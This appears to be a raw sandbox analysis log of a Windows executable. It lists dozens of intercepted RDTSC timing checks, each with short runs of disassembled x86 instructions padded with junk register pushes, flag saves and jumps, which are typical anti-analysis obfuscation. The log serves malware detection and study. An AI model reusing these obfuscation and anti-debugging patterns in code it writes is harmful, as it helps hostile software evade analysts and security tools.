Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890179 second address: 78901E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF09105E42h 0x00000009 add eax, 613C7C68h 0x0000000f jmp 00007FDF09105E3Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FDF09105E48h 0x0000001b add esi, 700E4EC8h 0x00000021 jmp 00007FDF09105E3Bh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov ebx, dword ptr [eax+10h] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FDF09105E45h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78901E9 second address: 78901EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78901EF second address: 78901F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78901F3 second address: 789029D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007FDF08CE3BA4h 0x0000000e mov dword ptr [esp], esi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDF08CE3B9Eh 0x00000018 add ah, FFFFFFB8h 0x0000001b jmp 00007FDF08CE3B9Bh 0x00000020 popfd 0x00000021 jmp 00007FDF08CE3BA8h 0x00000026 popad 0x00000027 mov esi, dword ptr [775606ECh] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007FDF08CE3B9Dh 0x00000036 adc si, BC06h 0x0000003b jmp 00007FDF08CE3BA1h 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007FDF08CE3BA0h 0x00000047 and esi, 06F9BAA8h 0x0000004d jmp 00007FDF08CE3B9Bh 0x00000052 popfd 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789029D second address: 78902E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov si, E197h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDF09105E3Fh 0x00000018 sub esi, 4E1F009Eh 0x0000001e jmp 00007FDF09105E49h 0x00000023 popfd 0x00000024 mov edi, ecx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78902E2 second address: 78902E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78902E8 second address: 7890354 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FDF09106D32h 0x00000011 pushad 0x00000012 call 00007FDF09105E44h 0x00000017 push eax 0x00000018 pop edi 0x00000019 pop esi 0x0000001a movsx edx, si 0x0000001d popad 0x0000001e xchg eax, edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FDF09105E3Bh 0x00000028 adc si, 00BEh 0x0000002d jmp 00007FDF09105E49h 0x00000032 popfd 0x00000033 mov esi, 21F33607h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890354 second address: 789043E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FDF08CE3BA7h 0x00000011 adc ecx, 27899B7Eh 0x00000017 jmp 00007FDF08CE3BA9h 0x0000001c popfd 0x0000001d jmp 00007FDF08CE3BA0h 0x00000022 popad 0x00000023 xchg eax, edi 0x00000024 pushad 0x00000025 mov dh, ch 0x00000027 mov di, 0D8Eh 0x0000002b popad 0x0000002c call dword ptr [77530B60h] 0x00000032 mov eax, 756AE5E0h 0x00000037 ret 0x00000038 pushad 0x00000039 push edi 0x0000003a push esi 0x0000003b pop edx 0x0000003c pop eax 0x0000003d mov ah, bh 0x0000003f popad 0x00000040 push 00000044h 0x00000042 jmp 00007FDF08CE3BA2h 0x00000047 pop edi 0x00000048 jmp 00007FDF08CE3BA0h 0x0000004d xchg eax, edi 0x0000004e pushad 0x0000004f push ecx 0x00000050 mov edx, 23427950h 0x00000055 pop ebx 0x00000056 jmp 00007FDF08CE3BA6h 0x0000005b popad 0x0000005c push eax 0x0000005d pushad 0x0000005e movsx edx, cx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushfd 0x00000064 jmp 00007FDF08CE3BA8h 0x00000069 or ecx, 74471FF8h 0x0000006f jmp 00007FDF08CE3B9Bh 0x00000074 popfd 0x00000075 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789043E second address: 789044F instructions: 0x00000000 rdtsc 0x00000002 mov ch, E1h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d movzx ecx, dx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78904E6 second address: 78904EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78904EA second address: 78904F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78904F0 second address: 789051D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF08CE3B9Ah 0x00000009 add ecx, 17045308h 0x0000000f jmp 00007FDF08CE3B9Bh 0x00000014 popfd 0x00000015 push eax 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789051D second address: 7890523 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890523 second address: 789055C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FDF78932D01h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDF08CE3BA7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789055C second address: 7890574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF09105E44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890716 second address: 789073B instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esi+20h], eax 0x0000000a jmp 00007FDF08CE3BA2h 0x0000000f mov eax, dword ptr [ebx+60h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789073B second address: 7890741 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890741 second address: 7890747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890747 second address: 78907B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+24h], eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDF09105E3Eh 0x00000015 xor ax, F908h 0x0000001a jmp 00007FDF09105E3Bh 0x0000001f popfd 0x00000020 mov di, ax 0x00000023 popad 0x00000024 mov eax, dword ptr [ebx+64h] 0x00000027 jmp 00007FDF09105E42h 0x0000002c mov dword ptr [esi+28h], eax 0x0000002f pushad 0x00000030 mov dl, ah 0x00000032 mov ax, dx 0x00000035 popad 0x00000036 mov eax, dword ptr [ebx+68h] 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FDF09105E40h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78907B7 second address: 78907C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF08CE3B9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78907C9 second address: 78907CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78907CD second address: 789081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+2Ch], eax 0x0000000b jmp 00007FDF08CE3BA7h 0x00000010 mov ax, word ptr [ebx+6Ch] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007FDF08CE3BA2h 0x0000001d and eax, 4E07A288h 0x00000023 jmp 00007FDF08CE3B9Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789081B second address: 7890857 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FDF09105E44h 0x0000000b mov dh, al 0x0000000d pop edx 0x0000000e popad 0x0000000f mov word ptr [esi+30h], ax 0x00000013 jmp 00007FDF09105E3Ah 0x00000018 mov ax, word ptr [ebx+00000088h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 movsx edx, si 0x00000025 push ecx 0x00000026 pop ebx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890857 second address: 789092A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5FF4h 0x00000007 mov cx, dx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov word ptr [esi+32h], ax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDF08CE3BA5h 0x00000018 adc cx, 6C66h 0x0000001d jmp 00007FDF08CE3BA1h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FDF08CE3BA0h 0x00000029 xor ax, 4C08h 0x0000002e jmp 00007FDF08CE3B9Bh 0x00000033 popfd 0x00000034 popad 0x00000035 mov eax, dword ptr [ebx+0000008Ch] 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007FDF08CE3BA4h 0x00000042 xor si, 6E68h 0x00000047 jmp 00007FDF08CE3B9Bh 0x0000004c popfd 0x0000004d mov ecx, 0FA40C5Fh 0x00000052 popad 0x00000053 mov dword ptr [esi+34h], eax 0x00000056 jmp 00007FDF08CE3BA2h 0x0000005b mov eax, dword ptr [ebx+18h] 0x0000005e pushad 0x0000005f mov edx, ecx 0x00000061 mov edi, ecx 0x00000063 popad 0x00000064 mov dword ptr [esi+38h], eax 0x00000067 pushad 0x00000068 mov ecx, 004EB8D1h 0x0000006d push esi 0x0000006e mov dx, C210h 0x00000072 pop edx 0x00000073 popad 0x00000074 mov eax, dword ptr [ebx+1Ch] 0x00000077 push eax 0x00000078 push edx 0x00000079 jmp 00007FDF08CE3B9Bh 0x0000007e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789092A second address: 789094D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov ebx, 62D1E096h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+3Ch], eax 0x00000010 jmp 00007FDF09105E3Dh 0x00000015 mov eax, dword ptr [ebx+20h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789094D second address: 7890A07 instructions: 0x00000000 rdtsc 0x00000002 call 00007FDF08CE3BA9h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov si, bx 0x0000000d popad 0x0000000e mov dword ptr [esi+40h], eax 0x00000011 jmp 00007FDF08CE3BA3h 0x00000016 lea eax, dword ptr [ebx+00000080h] 0x0000001c jmp 00007FDF08CE3BA6h 0x00000021 push 00000001h 0x00000023 pushad 0x00000024 pushad 0x00000025 call 00007FDF08CE3B9Ch 0x0000002a pop eax 0x0000002b jmp 00007FDF08CE3B9Bh 0x00000030 popad 0x00000031 pushfd 0x00000032 jmp 00007FDF08CE3BA8h 0x00000037 sbb ah, 00000008h 0x0000003a jmp 00007FDF08CE3B9Bh 0x0000003f popfd 0x00000040 popad 0x00000041 nop 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov si, bx 0x00000048 call 00007FDF08CE3BA7h 0x0000004d pop ecx 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890A07 second address: 7890A2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ebx 0x0000000f mov ah, B5h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890A2A second address: 7890AA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FDF08CE3B9Eh 0x00000011 jmp 00007FDF08CE3BA5h 0x00000016 popfd 0x00000017 pushfd 0x00000018 jmp 00007FDF08CE3BA0h 0x0000001d add ax, E3B8h 0x00000022 jmp 00007FDF08CE3B9Bh 0x00000027 popfd 0x00000028 popad 0x00000029 lea eax, dword ptr [ebp-10h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FDF08CE3BA5h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890CAF second address: 7890CEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FDF09105E3Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDF09105E3Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890CEC second address: 7890D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FDF08CE3BA4h 0x00000011 adc cl, 00000048h 0x00000014 jmp 00007FDF08CE3B9Bh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FDF08CE3BA8h 0x00000020 xor ax, 25A8h 0x00000025 jmp 00007FDF08CE3B9Bh 0x0000002a popfd 0x0000002b popad 0x0000002c lea eax, dword ptr [ebp-08h] 0x0000002f pushad 0x00000030 mov ebx, eax 0x00000032 mov edx, esi 0x00000034 popad 0x00000035 nop 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FDF08CE3BA9h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890DCF second address: 7890DFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 pushfd 0x00000007 jmp 00007FDF09105E3Ah 0x0000000c sub ecx, 1AC74188h 0x00000012 jmp 00007FDF09105E3Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov edi, eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890DFD second address: 7890E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890E01 second address: 7890E05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890E05 second address: 7890E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890E0B second address: 7890E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890E11 second address: 7890E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890E15 second address: 7890E19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890E19 second address: 7890E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edi, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDF08CE3B9Dh 0x00000013 sbb ch, 00000056h 0x00000016 jmp 00007FDF08CE3BA1h 0x0000001b popfd 0x0000001c movzx eax, di 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890E4D second address: 7890EAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 pushfd 0x00000007 jmp 00007FDF09105E45h 0x0000000c sub ecx, 51202366h 0x00000012 jmp 00007FDF09105E41h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b js 00007FDF78D5466Bh 0x00000021 pushad 0x00000022 jmp 00007FDF09105E3Ch 0x00000027 mov dl, ah 0x00000029 popad 0x0000002a mov eax, dword ptr [ebp-04h] 0x0000002d pushad 0x0000002e mov ecx, 4D4E2595h 0x00000033 popad 0x00000034 mov dword ptr [esi+08h], eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890EAD second address: 7890EB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890EB3 second address: 7890EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890EB9 second address: 7890EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890EBD second address: 7890F02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebx+70h] 0x0000000e pushad 0x0000000f call 00007FDF09105E3Eh 0x00000014 mov edx, esi 0x00000016 pop ecx 0x00000017 mov ax, bx 0x0000001a popad 0x0000001b push 00000001h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FDF09105E44h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890F02 second address: 7890F45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, F8D4h 0x00000007 mov eax, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov ch, E6h 0x00000010 mov dx, 5722h 0x00000014 popad 0x00000015 mov dword ptr [esp], eax 0x00000018 jmp 00007FDF08CE3BA9h 0x0000001d lea eax, dword ptr [ebp-18h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FDF08CE3B9Dh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890F45 second address: 7890FA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FDF09105E43h 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007FDF09105E49h 0x00000019 sub ch, 00000066h 0x0000001c jmp 00007FDF09105E41h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7890FA2 second address: 7891005 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF08CE3BA7h 0x00000009 or cl, FFFFFF9Eh 0x0000000c jmp 00007FDF08CE3BA9h 0x00000011 popfd 0x00000012 movzx ecx, bx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 jmp 00007FDF08CE3B9Ah 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FDF08CE3BA7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891005 second address: 789100B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789100B second address: 789100F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789100F second address: 7891013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789103F second address: 7891056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FDF08CE3BA1h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891161 second address: 78911B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov ch, 19h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDF09105E3Ch 0x00000015 or ecx, 094A3A88h 0x0000001b jmp 00007FDF09105E3Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FDF09105E48h 0x00000027 and ch, FFFFFFE8h 0x0000002a jmp 00007FDF09105E3Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78911B8 second address: 78911BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78911BE second address: 78911C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78911C2 second address: 789121A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a jmp 00007FDF08CE3BA7h 0x0000000f jne 00007FDF7893208Fh 0x00000015 jmp 00007FDF08CE3BA6h 0x0000001a mov edx, dword ptr [ebp+08h] 0x0000001d jmp 00007FDF08CE3BA0h 0x00000022 mov eax, dword ptr [esi] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 movzx esi, bx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789121A second address: 789121E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891337 second address: 789133D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789133D second address: 78913C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+14h] 0x0000000e pushad 0x0000000f mov si, B4ABh 0x00000013 pushfd 0x00000014 jmp 00007FDF09105E40h 0x00000019 and cl, 00000038h 0x0000001c jmp 00007FDF09105E3Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [edx+14h], eax 0x00000026 pushad 0x00000027 mov edx, esi 0x00000029 jmp 00007FDF09105E40h 0x0000002e popad 0x0000002f mov eax, dword ptr [esi+18h] 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 mov si, di 0x00000038 pushfd 0x00000039 jmp 00007FDF09105E49h 0x0000003e and si, B236h 0x00000043 jmp 00007FDF09105E41h 0x00000048 popfd 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78913C3 second address: 78913DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+18h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
